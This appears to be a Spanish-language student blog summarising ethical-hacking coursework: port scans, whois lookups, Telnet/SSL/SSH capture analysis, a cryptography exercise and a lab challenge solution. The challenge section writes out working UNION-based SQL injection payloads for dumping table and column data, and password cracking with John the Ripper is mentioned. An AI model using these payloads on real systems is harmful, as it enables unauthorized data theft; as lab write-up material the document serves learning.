TAREA FINAL

Tarea Final

Durante la duración de este curso hemos aprendido muchas cosas, como por ejemplo el cifrado de archivos, inyecciones sql a una base de datos, a como mirar como es el trafico en la red por medio de una herramientas y demás.

La primer tarea fue el de mirar que puertos estaba abiertos dentro del servidor de prueba :
http://ososilvasegutidadhack.blogspot.com/2016/09/tarea-1-herramientas-basicas-para.html

Cifrado de archivos:
http://ososilvasegutidadhack.blogspot.com/2016/09/tarea-3-una-sencilla-practica-sobre.html

Mirar el trafico en una red e Inyeccion de sql :
http://ososilvasegutidadhack.blogspot.com/2016/09/unidad-2-tarea-1-capturando-trafico-con.html

Además la Resolución del enigma propuesto para el reto.
http://ososilvasegutidadhack.blogspot.com/2016/10/blog-post.html




Ya en la participación del reto, mi grupo se denomino Wookies, la experiencia fue grata al trabajar con los demás compañeros de equipo, dentro de éste equipo mi responsabilidad fue la de mirar los software Cacti y GitList dentro del servidor del equipo, ademas que tuve que realizar el cambio de contraseña de usuario root de MYSQL .

Enigma

Siguiendo el consejo de yoda buscamos la tabla guestbook 
Surname: INNODB_BUFFER_PAGE_LRU
ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: guestbook
ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: users
-------------------------------------------------------------
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #

Las columnas son comment_id , comment, name 
Se Extrae toda la info para esa tabla 
%' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name) from guestbook #

The key is "use the force", Luke.
Se abre y descifra el archive con Cleopatra 
Enigma.txt.gpg.

Unidad 2 Tarea 4

Unidad 2 Tarea 4

Contiene una reflexión acerca de las tareas técnicas 1 y 2, y sobre la tarea 3 sobre la reflexión del hacking ético

Acerca de las actividades realizadas en las dos primeras tareas, se ve que no toda la información que circula por la red esta protegida, ya que existen datos como nuestras contraseñas que están a la vista para los hacker dentro de la red, es aquí donde nos damos cuenta que los hacker éticos son importantes para que mediante sus actividades busquen vulnerabilidades en la red y las resuelvan, de esta manera protegiendo los datos.

En cuanto a la tarea tres sobre las acciones realizadas a la empresa Hacking Team, considero que no hay sistema que esté completamente seguro ya que pudieron ingresas a sus sistemas, es así donde vemos que el papel de los hackers es importante para controlar la seguridad de la información de la ciudadanía pero en favor de los mismos, y que no afecte a terceros.

UNIDAD 2- TAREA 1-TAREA2

Primera parte: analizando un protocolo inseguro - Telnet.

• ¿Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet?

• login: .."........"fake
• Password:user

• ¿Qué sistema operativo corre en la máquina?

• Unix-like operating system.

• ¿Qué comandos se ejecutan en esta sesión?

• $ ls
• $ ls -a
• . .. .cshrc .login .mailrc .profile .rhosts
• $ //sbin//ping www.yahoo.com
• PING www.yahoo.com (204.71.200.74): 56 data bytes
• $ exit

Segunda parte: analizando SSL.

La segunda parte se trata de analizar tramas en donde se envía un cifrado en un tráfico SSL:

¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?

• El certificado se envía en la trama 2

¿El certificado va en claro o está cifrado? ¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?

• El certificado va claro y lo envía  https: //ocsp.verisign.com

¿Qué asegura el certificado, la identidad del servidor o del cliente?

• Asegura que el servidor al que accede es real y no tendrá problemas.

Segunda parte: Tercera Parte

Dentro de ésta tarea se utiliza el protocolo ssh para acceder a máquinas de manera remota:

¿Puedes ver a partir de qué paquete comienza el tráfico cifrado?

• El cifrado comienza en el tramo 13

¿Qué protocolos viajan cifrados, todos (IP, TCP...) o alguno en particular?

• Va cifrado el protocolo SSHv2

¿Es posible ver alguna información de usuario como contraseñas de acceso?

• No toda la información esta cifrada.

Unidad 2 Tarea 2

En ésta unidad tenemos que realizar un ataque con sql injection mediante una máquina virtual proporcionada en el curso.

Primero accedemos a la máquina virtual y seguimos cada una de las indicaciones iniciales:

Seguimos los pasos del enlace proporcionado para la tarea:

Y mediante la aplicación de Jhon The Ripper obtenemos las contraseñas :

TAREA 3: Una sencilla práctica sobre criptografía

El presente Trabajo se lo realizo conjuntamente con  el  Usuario

Ahora bien lo primero fue crear los certificados para posteriormente  sera exportado y enviado al otro usuario con el que se quiere realizar la comunicación el mismo que tendrá que importar el archivo teniendo así los certificados.

Ahora bien se procede a crear los mensaje y a encriptarlos para posteriormente ser enviados al destinarlo el mismo que tendrá que desencriptarlo  para poder tener el mensaje.

Mensaje Encriptados.

Mensaje desencriptado:

TAREA 2: Búsqueda y puesta en común de recursos

A Continuación  se presentan  enlaces a los artículos en lo que a Hacking se refiere:

• http://www.hackplayers.com/  
• http://hacking-etico.com/

Ademas un foro en el se podra obtener ayuda claro previo a esto se tiene que registrar:

• https://underc0de.org/

Espero esta información sea de utilidad.

TAREA 1: Herramientas básicas para obtener información de servidores externos

1. Ping:
   ¿Qué dirección IP tiene el servidor de Euskalert?

Se puede Observar que la IP es 193.146.78.12

2. Whois:

Encontrar la persona que figura como contacto técnico y como contacto administrativo

Contacto Técnico: dns_admin@corp.terra.es

Teléfono Técnico:+34.913752300

Contacto Administrativo: sistemak@eps.mondragon.edu

Teléfono Administrativo: +34.943794700

3. Nmap:

Con Nmap se pudo identificar los puestos que estan abiertos, despues de escanear 1000 puertos se encontro el puerto 80 como abierto y es utilizado con un protocolo tcp.